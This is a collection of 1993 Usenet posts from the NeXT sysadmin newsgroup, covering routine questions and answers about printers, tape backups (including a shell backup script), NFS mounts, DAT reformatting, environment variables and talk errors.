Newsgroups: comp.sys.next.sysadmin From: "Markus A. Singer"<markus@newsoft.octagon.de> Subject: NeXTstation and Apple LaserWriter Pro 630 Message-ID: <1993Mar23.232853.1343@newsoft.octagon.de> Sender: markus@newsoft.octagon.de Organization: NeW-SOFT Date: Tue, 23 Mar 1993 23:28:53 GMT Hi all, Has anybody successfully connected a NeXT with an Apple LaserWriter Pro 630 (via Ethernet or serial), taking full advantage of all the features the printer offers? (e.g. PhotoGrade...) Has anybody an appropriate printer description file? Please mail me about your successes/problems/experiences. (Maybe someone's out there who can compare it with a HP Laserjet 4) Thanks in advance and Good night, Markus --- Markus A. Singer ..................................... NeWSOFT Phone (home) : (+49 8442) 49 03 [NeRD# 2948] email : markus@newsoft.octagon.de (NeXTMail : yep) "I can jump off a bridge and don't have to use bungee" (MC Serch)
Newsgroups: comp.sys.next.sysadmin From: hwr@snert.ka.sub.org (Heiko W.Rupp) Subject: Re: what backup are you using? References: <1993Mar23.190620.4002@imagine.com> <1oo9fnINNdgm@systemix.com> Date: Wed, 24 Mar 1993 09:39:28 GMT Organization: The Home of the Pilhuhn Sender: news@pilhuhn.ka.sub.org (Das Newssystem auf pilhuhn) Message-ID: <hwr.732965968@snert.ka.sub.org> brian@systemix.com (Brian Cuthie) writes: >In article <1993Mar23.190620.4002@imagine.com> wagner!beckers (Becki Kain) writes: >>I need some information about doing backups - mainly, what are other >>people using? I'm working on gnutar1.10 to a dec 8mm tape drive. Any >I'm using SafetyNet-Professional with an Archive Python DAT drive :-) dump(8) on Phyton DAT also works fine (restore from the same DAT works also - had to try it yesterday evening ... ). -- Heiko W.Rupp Gerwigstr.5 7500 Kh'e 1 hwr@pilhuhn.ka.sub.org +49 721 693642 In Africa some of the native tribes have a custom of beating the ground with clubs and uttering spine chilling cries. Anthropologists call this a form of primitive self-expression. In America we call it golf.
Newsgroups: comp.sys.next.sysadmin From: woo@ornl.gov (John W. Wooten) Subject: Leaving CDRom mounted Message-ID: <1993Mar24.152318.25134@ornl.gov> Sender: usenet@ornl.gov (News poster) Organization: Oak Ridge National Laboratory Date: Wed, 24 Mar 1993 15:23:18 GMT 1. I have a CD Rom I want to mount on one machine and leave it mounted after I log out. How do I do this? 2. I mounted the CD Rom as root on kochab as /NeXTEdu I then used the NFS tool to export it. Now kochab is a client machine of polaris as are 10 other machines. I then imported ?NeXTEdu in the root domain of the server polaris and mounted it as /Net/kochab/NeXTEdu. When I logged into veta (or any other client machine) and examined /Net/kochab/NeXTEdu, I found that some of the apps had the "correct" icon, but most of them didn't! Yet from kochab, all have the correct icons. What is happening? 3. I want to mount the CDRom, logout, leave it mounted and have it visible on each of the client machines. Clues? - - - - - - - - - J. W. Wooten
Newsgroups: comp.sys.next.sysadmin From: soward@slow.inslab.uky.edu (John Soward) Subject: Re: Using remotefileserver with ATT machines and Next Message-ID: <C4E000.EAr@ms.uky.edu> Sender: news@ms.uky.edu (USENET News System) Organization: University Of Kentucky, Dept. of Math Sciences References: <1oo1nc$rm6@calvin.NYU.EDU> Date: Wed, 24 Mar 1993 09:35:59 GMT Michael Hieb writes -> Does anyone know of how to use remotefileserver over a LAN with ATT -> machines. As there exists the service listed in NetInfoServer, it -> suggests -> the possibility. Any info would be helpful. If necessary to compile ATT -> remotefileserver on the Next does anyone know of source location, -> experience of others would be useful. RFS is not implemented under NeXTStep...the source (to be compatible with SysV RFS) is, at last check, proprietary...chances are slim that it could be ported anyway since its is STREAMS dependent.... Best answer would be to get NFS for your AT&T machine... -- ________________________________________________________________________ / 'The midnight sun will burn you up" -The Cure, Piggy in the Mirror / / soward@ms.uky.edu | soward@inslab.uky.edu (NeXT Mail) / /_______________________________________________________________________/
Newsgroups: comp.sys.next.sysadmin From: soward@slow.inslab.uky.edu (John Soward) Subject: Re: Use _BOTH_ network ports at once? Message-ID: <C4E07B.EMD@ms.uky.edu> Sender: news@ms.uky.edu (USENET News System) Organization: University Of Kentucky, Dept. of Math Sciences References: <1993Mar23.173839.65198@cc.usu.edu> Date: Wed, 24 Mar 1993 09:40:22 GMT slv0y@cc.usu.edu writes -> I have my NeXT computers networked along with a bunch of other IBM PC computers -> on a 10BaseT network. I now find myself needing to be able to connect some -> computers on a 10Base2 network into my existing network. Is it possible to use -> BOTH network ports on the NeXT? No, it does not. see the FAQ... -> If it won't, does anyone have any recomendations on how this could be -> accomplished? Do I need a gateway to do this? Any help or recommendations -> would be greatly appreciated. Thanks a lot. one can buy a 10baseT -> 10base2 transceiver... Or grab an old PC with a 10base2 card and a 10baseT card and run PCRoute on it... -- ________________________________________________________________________ / 'The midnight sun will burn you up" -The Cure, Piggy in the Mirror / / soward@ms.uky.edu | soward@inslab.uky.edu (NeXT Mail) / /_______________________________________________________________________/
Newsgroups: comp.sys.next.sysadmin From: nathan@laplace.biology.yale.edu (Nathan F. Janette) Subject: Write file crashes NeXT printer host?!? Message-ID: <1993Mar24.194546.19467@cs.yale.edu> Sender: news@cs.yale.edu (Usenet News) Organization: Yale University, Department of Computer Science, New Haven, CT Date: Wed, 24 Mar 1993 19:45:46 GMT A user in this lab has created a Write file with graphics imported from Mma. This file crashes any print server (NeXTstep/040 3.0) that it is sent to. There is plenty of free disk space. Here are the messages from /usr/adm/messages: Mar 24 07:38:47 bohr syslog: Workspace logged in Mar 24 13:34:23 bohr lpd[1891]: abortpr Mar 24 13:34:37 bohr syslogd: going down on signal 15 Mar 24 13:35:21 bohr mach: Killing all processes Any ideas, besides "don't use WriteNow"? -- Nathan Janette # "As I walk I hear my longing thoughts subsiding. Dept MB&B # Upon your cross I bleed the thoughts that I've been hiding. Yale Univ/HHMI # I'm all used up; there's not much more for me to give. New Haven, CT # Echoes of the life that we all want to live." nathan@laplace.csb.yale.edu
Newsgroups: comp.sys.next.sysadmin From: irving@Happy-Man.com (Irving_Wolfe) Subject: Re: what backup are you using? Message-ID: <1993Mar24.160904.22003@Happy-Man.com> Organization: Happy Man Corp., Vashon Island, WA 98070-7399 References: <1993Mar23.190620.4002@imagine.com> Date: Wed, 24 Mar 1993 16:09:04 GMT In <1993Mar23.190620.4002@imagine.com> wagner!beckers (Becki Kain) writes: >I need some information about doing backups - mainly, what are other >people using? Here's my nightly network backup script, in use for a couple of years: #!/bin/sh # This is a shell archive (shar 3.21) # made 03/24/1993 16:06 UTC by irving@rosebud # Source directory /Gigi/Users/irving # # existing files WILL be overwritten # # This shar contains: # length mode name # ------ ---------- ------------------------------------------ # 1336 -rwxr-x--- backup-all # if touch 2>&1 | fgrep '[-amc]' > /dev/null then TOUCH=touch else TOUCH=true fi # ============= backup-all ============== echo "x - extracting backup-all (Text)" sed 's/^X//' << 'SHAR_EOF' > backup-all && X#!/bin/sh X# vi:se wm=0 ts=4 sw=4: X# do the nightly backups - run from vixie crond with operator group membership on tapehost X XLENGTH=1250000 # for 112m data tape Xexport LENGTH X X( X if mt -f /dev/nrxt0 rewind; then X echo "kill -9 0 2>/dev/null || ps auxww" \ X | /usr/local/bin/atinmin 200 X else X echo "rewind failure" >&2 X ps auxww X exit 1 X fi X X tapehost=`/bin/hostname` X X for hostToDo in `nidump hosts / | awk '{print $2}' | sort` X do X for directory in `rsh ${hostToDo} /etc/mount | awk '/^\// {print $3}' | sort` X do X echo ${hostToDo}:${directory} X done X done | dd of=/dev/nrxt0 X #mt -f /dev/nrxt0 eof # I don't think this was necessary after all X X dodump() { X echo "" >&2 X echo "starting ${hostToDo}:${directory}" >&2 X if test ${hostToDo} = ${tapehost}; then X /usr/etc/dump 0ufs /dev/nrxt0 ${LENGTH} ${directory} X else X rsh ${hostToDo} "/usr/etc/rdump 0ufs ${tapehost}:/dev/nrxt0 ${LENGTH} ${directory}" X fi X echo "" >&2 X } X X for hostToDo in `nidump hosts / | awk '{print $2}' | sort` X do X for directory in `rsh ${hostToDo} /etc/mount | awk '/^\// {print $3}' | sort` X do X dodump X done X done X X mt -f /dev/nrxt0 rewoffl X echo complete `date` >&2 X) </dev/null 2>&1 \ X| perl -ne 'print unless ($old eq $_ || /records [io]|DONE|MP: level|finished|estimated|dumping|epoch|mapping|Tape rewind|owner/); $old = $_;' SHAR_EOF $TOUCH -am 0324080693 backup-all && chmod 0750 backup-all || echo "restore of backup-all failed" set `wc -c backup-all`;Wc_c=$1 if test "$Wc_c" != "1336"; then echo original size 1336, current size $Wc_c fi exit 0 -- Irving_Wolfe@Happy-Man.com Happy Man Corp. 206/463-9399 x101 4410 SW Pt. Robinson Rd., Vashon Island, WA 98070-7399 fax x108 We publish SOLID VALUE for the intelligent investor. NextMail OK Info free; sample $20. Send POSTAL addrs: Solid-Value@Happy-Man.com
Newsgroups: comp.sys.next.sysadmin Subject: Change required in sendmail.cf for a mailing alias issue Message-ID: <1oq2siINNqvk@parsifal.umkc.edu> From: dmedhi@cstp.umkc.edu (Deep Medhi,4747 Troost 207,(816) 235-2006,(913) 341-0462) Date: 24 Mar 1993 16:39:46 GMT Organization: University of Missouri - Kansas City I have been using /etc/sendmail/aliases on my NeXTstation to set up global mailing lists. It seems that the sender does not get a copy of the mail although he/she is also in the list. Here is an example: Suppose I have the following line in /etc/sendmail/aliases: all_ys: y1@node1, y2@node2, y3@node3 Now if y3@node3 sends a message to all_ys, the message is sent to y1@node1 and y2@node2, NOT to y3@node3. What is required to be changed in sendmail.cf (or in some other place) so that a copy is sent also to y3@node3 (the sender)? Thanks in advance. Deep Medhi, dmedhi@aazoli.cstp.umkc.edu
Newsgroups: comp.sys.next.sysadmin From: spagiola@frinext.stanford.edu (Stefano Pagiola) Subject: Nagging problems in 3.0 Message-ID: <1993Mar24.194500.6190@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: DSO, Stanford University Date: Wed, 24 Mar 93 19:45:00 GMT Since switching to 3.0, I have experienced the following problems on an on-and-off basis. They are very annoying and I can't seem to figure out how to cure them, but they do sometimes go away for a while, only to return later. 1. Printing. As often as not, the print panel informs me that there is no printer description file available, and prints the pages starting from the first (rather than the last). Sometimes running PrintManager and printing a test page makes this problem go away, but not always. Sometimes rebooting makes it go away, but not always. 2. Launching apps. Some apps, notably Engage!, now seem to take forever (ie several MINUTES) to launch, and slow down the entire workspace to the point that even Windows look good while doing so. Nothing obvious is happening while they launch (eg there's no disk reading), and nothing appears on the console. Then there's a burst of disk reading, the app launches, and everything is fine as before. This happens whether I autolaunch or launch manually. 3. Misc. Alt-double-click should open a folder in a new viewer. As often as not, it simply goes into the folder in the current viewer. There's a few more that i run into less frequently. Anybody have any ideas as to what is wrong and how I might cure it? I'm running 3.0, which I installed by making a complete installation from scratch rather than upgrading. -- - Stefano Pagiola Food Research Institute, Stanford University spagiola@frinext.stanford.edu (NeXTMail encouraged) spagiola@FRI-nxt-Pagiola.stanford.edu (NeXTMail encouraged)
Newsgroups: comp.sys.next.sysadmin From: gmk@pegasos.ccsr.uiuc.edu (Gottfried Mayer-Kress) Subject: System administrator wanted Date: Wed, 24 Mar 1993 20:30:04 GMT Message-ID: <C4EuA5.Bwv@news.cso.uiuc.edu> Sender: usenet@news.cso.uiuc.edu (Net Noise owner) Organization: University of Illinois at Urbana we are an active research group in complex systems and need urgently a part-time system administrator mainly for our NeXT, SUN, SGI network (about a dozen nodes.) -- Gottfried Mayer-Kress Center for Complex Systems Research, Department of Physics 3025 Beckman Institute, 405 N Mathews, Urbana, Il 61801 gmk@pegasos.ccsr.uiuc.edu (NeXT-Mail) gmk@goshawk.lanl.gov, gmk@santafe.edu (217)-244-5877 (voice/fax modem),x8371(fax), x1994 (msg)
From: filibert@vista (Daniel Filiberti) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware Subject: Reformatting WangDAT tapes (long) Message-ID: <1993Mar24.213032.3212@ohsu.edu> Date: 24 Mar 93 21:30:32 GMT Article-I.D.: ohsu.1993Mar24.213032.3212 Sender: news@ohsu.edu Organization: Oregon Health Sciences University Ok, there seems to be enough interest, so here goes... Disclaimer: Everything that you see here works for me, but I will not be responsible for any damage, consequences, loss, etc... as a result of using any of the information in this post. USE AT YOUR OWN RISK! First, here's some basic knowledge on the meaning of the two LEDs on the front panel, and the internal DIP switch...( this all should be true for WangDAT 2000 and 2600 models, by the way, I don't know about others...) ---------------------------------------------------------------------- LED Color State Meaning ---------------------------------------------------------------------- Left Green On Drive active on the SCSI Bus (Activity/Fault) Red Flashing Drive fault condition exists. ---------------------------------------------------------------------- Right Amber Flashing Loading or unloading cassette (Cassette/Format) On Cassette in place, format=DDS Green On Cassette in place, format=compress ---------------------------------------------------------------------- ---------------------------------------------------------------------- Switch Function Default OFF/ON Description ---------------------------------------------------------------------- SW1-1 Buffered Mode OFF Software Selectable/Force Buffered SW1-2 Default Tape Format ON DDS/Group Compression SW1-3 SCSI1/SCSI2 Protocol OFF SW1-4 Cassette Load/Unload OFF Option unload cassette on Release SW1-5 SCSI Bus Parity Enbl ON SW1-6 SCSI Bus ID LSB OFF \ SW1-7 SCSI Bus ID OFF > These are set via a switch on the SW1-8 SCSI Bus ID MSB OFF / back of my drive ---------------------------------------------------------------------- Now, to reformat a cassette, you will need the "scsitools.new" package that is found on your favorite NeXT archive. You need to modify select.c, as follows... 1. Find all the calls to gs_mode_sense() with a cfield parameter of 3, ie; gs_mode_sense(fd, lun, 0, 3, sizeof(new_dat.data), new_dat.data) and change the cfield parameter to 2, like gs_mode_sense(fd, lun, 0, 2, sizeof(new_dat.data), new_dat.data) 2. Change two lines in the function gs_mode_select() to look like cdbp->c6_lba = 0x100000 ; /* use pf=1 & sp=1 to save parameters */ sr.sr_ioto = 180; WangDAT doesn't support the sp=1 save parameters command, and the timeout should be long enough to allow the tape to finish formatting (180sec = 3min)... 3. Save and recompile the select.c program. OK, you are ready to format a tape...here goes. 1. su to root 2. use the "inquire" program to find the scsi target number of your DAT 3. use the "sense1" program to read page 11h = 17 decimal from the DAT, and redirect it to a file eg. > sense1 -t6 -l0 -p17 >WangDAT.parms 4. Open the file in Edit, and edit the last part to look like: # Parameter List Header #mhdr offs val msk # cur msk def sav -mhdr 0000 17 17 # 17 17 17 17 -mhdr 0001 00 00 # 00 00 00 00 -mhdr 0002 10 10 # 10 10 10 10 -mhdr 0003 08 08 # 08 08 08 08 # Parameter List Block Descriptor Format #mbdf offs val msk # cur msk def sav -mbdf 0000 93 93 # 93 93 93 93 -mbdf 0001 00 00 # 00 00 00 00 -mbdf 0002 00 00 # 00 00 00 00 -mbdf 0003 00 00 # 00 00 00 00 -mbdf 0004 00 00 # 00 00 00 00 -mbdf 0005 00 00 # 00 00 00 00 -mbdf 0006 02 02 # 02 02 02 02 -mbdf 0007 00 00 # 00 00 00 00 # Page Code 11 #mp17 offs val msk # cur msk def sav -mp17 0000 11 11 # 11 11 11 11 -mp17 0001 0a 0a # 0a 0a 0a 0a -mp17 0002 00 00 # 01 00 01 01 -mp17 0003 00 ff # 01 ff 00 00 -mp17 0004 20 e0 # 10 e0 10 10 -mp17 0005 00 00 # 03 00 03 03 -mp17 0006 00 00 # 00 00 00 00 -mp17 0007 00 00 # 00 00 00 00 -mp17 0008 05 ff # 04 ff 05 05 -mp17 0009 14 ff # b5 ff 14 14 -mp17 0010 00 ff # 00 ff 00 00 -mp17 0011 00 ff # 01 ff 00 00 The two numbers that changed are the mbdf 0000 value to 93h, which forces compression mode (13h forces DDS, if thats what you want to do), and the mp17 0004 value to 20h (setting bit 5) which tells the drive to format. 5. Insert the tape that you want to reformat, and wait for it to load. 6. Then, use the modified "select" program to send the DAT the new parameters. > select -t6 -l0 -fWangDAT.parms The program will prompt you a few times about the changes being made, and then finally, your drive should begin formatting. When its done the program will exit! There it is! Enjoy... Daniel --- ************************************************************ Motto for a monitor, "It's better to burn out, than to fade away..." [8?)} ************************************************************ Daniel Filiberti Oregon Health Sciences University Biomedical Information Communication Center (BICC) 3181 Sam Jackson Park Road Portland, Oregon 97201-3098 email: filibert@ohsu.edu
Newsgroups: comp.sys.next.sysadmin From: alberto@parsec.mixcom.com (Alberto Ricart) Subject: IB is making me $%&@#&#$%^ CRAZY Message-ID: <1993Mar24.152500.894@parsec.mixcom.com> Organization: SmartSoft, Inc. Date: Wed, 24 Mar 1993 15:25:00 GMT We have 2 people working on a project and every time one person modifies a nib, it becomes impossible for the other to modify it without su' ing and making clean. Both people share a group membership with the correct privileges set. ANY IDEAS?? -- Manuel Alberto Ricart alberto@parsec.mixcom.com <NeXTMail Welcome>
Newsgroups: comp.sys.next.sysadmin From: bnocker@cosy.sbg.ac.at (Bernhard Nocker) Subject: Re: HELP - dialin won't work. Message-ID: <C4FtFw.858@cosy.sbg.ac.at> Sender: news@cosy.sbg.ac.at Organization: University of Salzburg / Austria References: <1993Mar21.165055.15042@alf.uib.no> Date: Thu, 25 Mar 1993 09:09:32 GMT In article <1993Mar21.165055.15042@alf.uib.no> edmtl@alf.uib.no (Thor Legvold) writes: [...] > I've configured a U1496E (ZyXEL) on my Cube (040), and am trying to enable > both dialout and dialin. > > I have NXFax going, and it is set up _not_ to answer calls. > The modem's S register for auto answer is enabled. > I have edited /etc/gettytab and /etc/ttys to enable dialout and > dial in with flow control. THAT'S THE PROBLEM! Do not edit /etc/ttys and enable dialin/out! NXFax handles incoming calls! So disable (change to no) the entries in /etc/ttys and everything should work fine. If you want another programm than /usr/etc/getty to get calls then tell this NXFaxMonitor. If you want to enable SLIP/PPP this must be checked with NXFaxMonitor too. [...] -- Bernhard Nocker University of Salzburg's Department of Computing Studies Jakob-Haringerstr. 5 5020 Salzburg Austria, Europe Tel: +43-662-8044/6316 bnocker@cosy.sbg.ac.at Fax: +43-662-8044/6316 or +43-662-8044/611
Newsgroups: comp.sys.next.sysadmin From: Gregory W. Gee <gee@gaul.csd.uwo.ca> Subject: problem with MANPATH. Cc: gee@gaul.csd.uwo.ca Organization: Relayed-by-Sendmail Date: Thu, 25 Mar 1993 16:33:28 GMT Message-ID: <9303251633.AA21971@gaul.csd.uwo.ca> To: comp.sys.next.sysadmin@newshost.uwo.ca Sender: daemon@julian.uwo.ca (Julian System Daemon Account) I am having a problem setting the MANPATH in my environment. I thought that I set it properly but it doesn't seem to have any effect. I only have two man directories. I set it with: set MANPATH = '/usr/man:/usr/local/man' What's the problem with this? The man pages say this but it doesn't work. Any help would be greatly appreciated. **************************************************************************** Greg Gee gee@gaul.csd.uwo.ca NeXT Mail accepted Honours Computer Science, University of Western Ontario >>> Developing in the NeXT generation <<< ****************************************************************************
From: Daniel.Filiberti@f236.n104.z1.FIDONET.ORG (Daniel Filiberti) Newsgroups: comp.sys.next.sysadmin Subject: REFORMATTING DAT (WANGDAT ONLY) Message-ID: <968.2BB0EEC5@paranet.FIDONET.ORG> Date: 23 Mar 93 21:48:00 GMT Sender: ufgate@paranet.FIDONET.ORG (newsout1.26) Organization: FidoNet node 1:104/236 - MacCircles, Genesee CO -- Daniel Filiberti - via ParaNet node 1:104/422 UUCP: !scicom!paranet!User_Name INTERNET: Daniel.Filiberti@f236.n104.z1.FIDONET.ORG
From: sears@tree.egr.uh.edu (Paul S. Sears) Newsgroups: comp.sys.next.sysadmin Subject: Re: problem with MANPATH. Date: 25 Mar 1993 17:13:16 GMT Organization: University of Houston Message-ID: <1osp7c$fjj@menudo.uh.edu> References: <9303251633.AA21971@gaul.csd.uwo.ca> In article <9303251633.AA21971@gaul.csd.uwo.ca> Gregory W. Gee <gee@gaul.csd.uwo.ca> writes: # I am having a problem setting the MANPATH in my environment. I thought #that I set it properly but it doesn't seem to have any effect. I only #have two man directories. I set it with: # #set MANPATH = '/usr/man:/usr/local/man' # # What's the problem with this? # If you are using csh then it should be: setenv MANPATH /usr/man:/usr/local/man If you are using sh then it should be: MANPATH="/usr/man:/usr/local/man";export MANPATH I hope this helps... # Greg Gee gee@gaul.csd.uwo.ca NeXT Mail accepted # Honours Computer Science, University of Western Ontario # >>> Developing in the NeXT generation <<< -- Paul S. Sears * sears@uh.edu (NeXT Mail OK) The University of Houston * suggestions@tree.egr.uh.edu (NeXT Engineering Computing Center * comments, complaints, questions) NeXT System Administration * DoD#1967 '83 NightHawk 650SC >>> SSI Diving Certification #755020059 <<< "Programming is like sex: One mistake and you support it a lifetime."
From: kheit@gandalf.rutgers.edu (John Kheit) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware Subject: Need Disktab for OD drive. Message-ID: <Mar.25.13.16.34.1993.29822@gandalf.rutgers.edu> Date: 25 Mar 93 18:16:34 GMT Followup-To: comp.sys.next.sysadmin Organization: Rutgers Univ., New Brunswick, N.J. Hi all, Im still trying to get my Ricoh RO-5030E2 SCSI optical drive to work on my NeXT. It would be great if anyone out there has a disktab for it. Or if you have a disktab for any 5.25" 600meg OD. I would guess that the disktabs would be close for such units. Just some info. It spins at 1800 rpm. Sector size is 512 #tracks per sector is 32. I could really use some help on this since my feeble mind isnt capable of making my disktab work. Thank you in advance. :) Later, John
Newsgroups: comp.sys.next.sysadmin From: dicosmo@dmi.ens.fr (Roberto DiCosmo) Subject: You don't exist. Go away Message-ID: <1993Mar25.174425.17860@ens.fr> Sender: news@ens.fr (USENET News System) Organization: Ecole Normale Superieure, PARIS, France Date: Thu, 25 Mar 93 17:44:25 GMT Sorry to bug you people with this annoying problem. We have several NeXT here, and on some of them when you try to talk to somebody you just get: You don't exist. Go away. On the other side, you get a "Party is refusing messages." If you have a hint, mail me, and I'll post a summary. Thanx again! -- Roberto Di Cosmo <dicosmo@dmi.ens.fr> LIENS Ecole Normale Superieure 45, Rue d'Ulm 75005 Paris FRANCE
Newsgroups: comp.sys.next.sysadmin From: smb3u@delton.psyc.virginia.edu (Steven M. Boker) Subject: Exploring Mathematica CD? Message-ID: <C4GJGs.B8y@murdoch.acc.Virginia.EDU> Sender: usenet@murdoch.acc.Virginia.EDU Organization: University of Virginia, Department of Psychology Date: Thu, 25 Mar 1993 18:31:40 GMT I just tried to mount the CDROM that comes with the book Exploring Mathematica. This worked fine under 2.1, but now under 3.0 I find that the CDROM is recognized as a Mac filesystem and it hides the NeXT version of the files. Does anyone have a workaround for this problem? Steve -- #====#====#====#====#====#====#====#====#====#====#====#====#====# # Steven M. Boker # "Two's bifurcation # # boker@virginia.edu # but three's chaotic" # #====#====#====#====#====#====#====#====#====#====#====#====#====#
From: filibert@vista (Daniel Filiberti) Newsgroups: comp.sys.next.sysadmin Subject: Re: REFORMATTING DAT (WANGDAT ONLY) Message-ID: <1993Mar25.193732.19662@ohsu.edu> Date: 25 Mar 93 19:37:32 GMT Article-I.D.: ohsu.1993Mar25.193732.19662 References: <968.2BB0EEC5@paranet.FIDONET.ORG> Sender: news@ohsu.edu Organization: Oregon Health Sciences University In article <968.2BB0EEC5@paranet.FIDONET.ORG> Daniel.Filiberti@f236.n104.z1.FIDONET.ORG (Daniel Filiberti) writes: > -- > Daniel Filiberti - via ParaNet node 1:104/422 > UUCP: !scicom!paranet!User_Name > INTERNET: Daniel.Filiberti@f236.n104.z1.FIDONET.ORG Hmmm. I didn't post this, and I definitely don't have a fidonet account... Sorry for the wasted bandwidth, but please don't use my name in your posts. Oh, and I doubt that there are 2 Daniel Filiberti's out there...;) Daniel --- ************************************************************ Motto for a monitor, "It's better to burn out, than to fade away..." [8?)} ************************************************************ Daniel Filiberti Oregon Health Sciences University Biomedical Information Communication Center (BICC) 3181 Sam Jackson Park Road Portland, Oregon 97201-3098 email: filibert@ohsu.edu
From: nevai@mps.ohio-state.edu (Paul Nevai) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software Subject: how to get in touch with other beta testers w/o violating the rules? Date: 25 Mar 1993 20:41:03 GMT Organization: Department of Mathematics, The Ohio State University Sender: Paul Nevai Distribution: world Message-ID: <1ot5cv$3bd@zaphod.mps.ohio-state.edu> Originator: nevai@ops.mps.ohio-state.edu I am a "beta" tester with a non-disclosure clause for "xyz". Now the question is how I could get in touch with other beta testers of the same product so I could discuss some problems which I couldn't discuss with the company making the product (because my contact people weren't sufficiently knowledgeable - yes, this sounds unusual). I can't even mention the name of the product. So how can I start? Take care...Paul Paul Nevai nevai@mps.ohio-state.edu Dept Math - Ohio State University 1-614-292-3317 (Office) Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
Newsgroups: comp.sys.next.sysadmin From: rick@indeed.stanford.edu (Rick Stanley Francis) Subject: Re: You don't exist. Go away Message-ID: <1993Mar25.203409.7048@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: DSO, Stanford University References: <1993Mar25.174425.17860@ens.fr> Date: Thu, 25 Mar 93 20:34:09 GMT In article <1993Mar25.174425.17860@ens.fr> dicosmo@dmi.ens.fr (Roberto DiCosmo) writes: > Sorry to bug you people with this annoying problem. > We have several NeXT here, and on some of them when you try > to talk to somebody you just get: > > You don't exist. Go away. I had this problem when I used steward instead of terminal, I believe that the cause is that stuart doesn't use ttys while terminal does. -Rick Francis rickf@leland.stanford.edu
From: "Jeremy G. Mereness" <zonker+@CMU.EDU> Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin Subject: NFS Server Bug, 3.0? Date: Thu, 25 Mar 1993 16:24:20 -0500 Organization: Graduate School of Industrial Administr., Carnegie Mellon, Pittsburgh, PA Message-ID: <8fgWA4K00WB30VGktH@andrew.cmu.edu> The Incident: creating a new network. all the clients are fine. the server is mounting a set of directories on an external SCSI drive to be mounted by the clients as /LocalApps, /LocalLibrary, and /usr/local. In NetInfo, "/server" exports its directories and "/" imports them as their respective mountpoints. There are also a couple of directories on the server being mounted as "/Net". 6 directories are being broadcast on the network total. I noticed that the server was mounting the directories just like the clients (because I had imported as "/"). "Fine," I thought, "redundant, but okay." Too bad you can't make one or two exceptions from "/". I started installing Mathematica through the mountpoint /LocalApps on the server. Everything went fine until the end of the second disk. Then, the server went offline throughout the network, including to itself (/server not responding... still trying). Any operation would just poll for a disk, but never find one. I have to forcefully shutdown through the monitor. If I umount the mountpoints on the server and recreate them as symbolic links, everything goes fine. Question 1: has anyone seen this kind of behavior on a 3.0 server? Is this c'est la vie or am I putting too big a load on it? Could I help things with the NFS Expert options, like lengthening the time-out period? or is it something else? Question 2: I wanna hack it. Let me modify the rc or rc.local file on the server so that it umounts the NFS directories and replaces them with symbolic links to the external drive. Where in the rc files should I put this so that I can be sure that all the NFS mounts have been mounted already? Thanks in Advance! ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ |Jeremy Mereness | Support | Ye Olde Disclaimer: | |zonker+@cmu.edu (internet) | NeXTStep | This message represents| | or jm7e+@andrew.cmu.edu | Software | my opinions, alone. | |FAST Laboratory, CMU-GSIA |------------| Thank you, Mask Man. | | B.S. Mech Eng. CMU,1992| Certificate Mixology,1992 |No NeXTMail, yet | ----------------------------------------------------------------------
Newsgroups: comp.sys.next.sysadmin From: magnus@fisher.Stanford.EDU (Magnus Nordborg) Subject: Re: You don't exist. Go away Message-ID: <1993Mar25.231801.11275@leland.Stanford.EDU> Sender: news@leland.Stanford.EDU (Mr News) Organization: DSO, Stanford University References: <1993Mar25.203409.7048@leland.Stanford.EDU> Date: Thu, 25 Mar 93 23:18:01 GMT In article <1993Mar25.203409.7048@leland.Stanford.EDU> rick@indeed.stanford.edu (Rick Stanley Francis) writes: > In article <1993Mar25.174425.17860@ens.fr> dicosmo@dmi.ens.fr (Roberto > DiCosmo) writes: > > Sorry to bug you people with this annoying problem. > > We have several NeXT here, and on some of them when you try > > to talk to somebody you just get: > > > > You don't exist. Go away. > > I had this problem when I used steward instead of terminal, I believe that > the cause is that stuart doesn't use ttys while terminal does. > > -Rick Francis > rickf@leland.stanford.edu Stuart does *not* have this problem if correctly installed (slog and all). Terminal does have this problem if *incorrectly* installed -- it needs to be run setuid: > ls -l /NextApps/Terminal.app/Terminal -rwsr-xr-x 1 root 196608 Jul 24 1992 /NextApps/Terminal.app/Terminal* -- Magnus Nordborg Department of Biological Sciences Stanford University magnus@fisher.stanford.edu (NeXT mail preferred)
Newsgroups: comp.sys.next.sysadmin From: Michael_Pizolato@afs.com Subject: New user mail Message-ID: <1993Mar25.220725.2246@afs.com> Sender: Michael_Pizolato@afs.com Date: Thu, 25 Mar 1993 22:07:25 GMT Where does the mail that a new user receives come from? If possible, I'd like to add to it so it includes some site-specific information that our new users should know. AAAAANNND... maybe add my own voice message to complement that wonderfully performed message from Steve. ;-) Thanx, Michael -- Michael_Pizolato@afs.com ~18 kyu Q16 NeXTMail appreciated
Newsgroups: comp.sys.next.sysadmin From: Aaron Herskowitz Subject: Re: You don't exist. Go away Message-ID: <1993Mar26.042424.8651@pellns.alleg.edu> Sender: news@pellns.alleg.edu Organization: Allegheny College References: <1993Mar25.231801.11275@leland.Stanford.EDU> Date: Fri, 26 Mar 1993 04:24:24 GMT > In article <1993Mar25.174425.17860@ens.fr> dicosmo@dmi.ens.fr > (Roberto Di Cosmo) writes: > Sorry to bug you people with this annoying problem. > We have several NeXT here, and on some of them when you try > to talk to somebody you just get: > > You don't exist. Go away. The Stuart manual addresses this problem. In Stuart look under "Info" - "Manual" - "Trouble Shooting" - "Talk isn't working" Aaron aherskow@alleg.edu
From: ti6ls@tuhhco.rz.tu-harburg.de (Ludger Solbach) Newsgroups: comp.sys.next.sysadmin Subject: how to set user quotas? Message-ID: <ti6ls.733068722@tuhhco> Date: 25 Mar 93 14:12:02 GMT Sender: usenet@rztsun.rz.tu-harburg.de Any suggestions? Regards Ludger.
